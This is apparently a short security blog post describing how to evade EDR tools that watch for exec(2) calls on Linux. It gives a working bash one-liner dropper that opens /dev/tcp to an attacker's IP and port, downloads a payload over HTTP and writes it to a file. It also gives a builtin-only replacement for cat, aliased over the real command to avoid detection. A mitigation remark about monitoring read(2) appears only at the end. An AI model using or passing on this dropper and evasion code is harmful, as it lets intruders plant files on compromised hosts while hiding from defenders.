execve(2)-less dropper and lib

How to bypass one of the most basic detection technique implemented by most EDR tools.

  ·  3 min read

One of the most common ways to detect intrusions and suspicious behavior is by looking for binary executions. This is mostly done by EDR tools by looking for calls to the exec(2) syscall which is used when executing commands (such as lscurlwget…). So I was looking for ways to evade the detection of such tools. There’s one special kind of command that will never trigger a call to exec(2)shells builtins.

So I ended up building a small oneliner dropper using only shell primitives, that makes it undetectable by EDR tools looking for execs:

exec 3<>/dev/tcp/${IP?}/${PORT?}; printf "GET /${PATH?} HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n">&3; f=0; while IFS= read -r l<&3; do [ $f -eq 1 ] && echo "$l"; [[ $l == "#_"* ]] && f=1; done > dropped; exec 3<&-

To make it work, you have to use Bash on the target’s system and serve the file using HTTP only, as the TLS handshake cannot be established.

Also, if you look closely at the oneliner, you’ll notice that I’m looking at the #_ chars before printing the payload. It’s a convenient way to skip printing HTTP headers, but the payloads we’re dropping have to start with this string. The output is then redirected into a file named dropped.

Let’s check how it works in practice:

dropper

We can ensure that no exec(2) is called by using strace:

dropper-strace

Now that we can drop any file on our target system without being detected, we can load a shell lib replacing common binaries with their builtin-only equivalents. As an example, here’s a simple cat written with shell primitives:

#_
#!/bin/bash

function z_cat() {
  if [ "$#" -eq 0 ]; then
    echo "Usage: $0 <file> [file ...]" >&2
    return
  fi

  for file in "$@"; do
      if [ ! -r "$file" ]; then
          echo "Cannot read file: $file" >&2
          continue
      fi
  
      while IFS= read -r line; do
          echo "$line"
      done < "$file"
  done
}

alias cat="z_cat"

I also included the alias part at the end of the file to be sure to not use cat inadvertently and be detected.

Most of the other common tools should be easy to implement (curl can be a variant of our dropper with more checks for example, and a smaller implementation of sed could be done using Bash’s strings manipulation features).

So far, the only thing that may be hard to create everything related to the unlink(2) syscall, such as rm. AFAIK, there’s no shell primitive that permits such operation. But as we can download malicious files on a system without being detected now, it may be possible to get a modified lib for Bash with extra features, such as a builtin rm.

About mitigation, I think the only way to really be able to detect everything that’s going on is by monitoring calls to read(2) to have a real keylogger:

read-syscall

However, this may generate A LOT of noise, so it must be binded to processes that may offer interactive sessions, such as shells.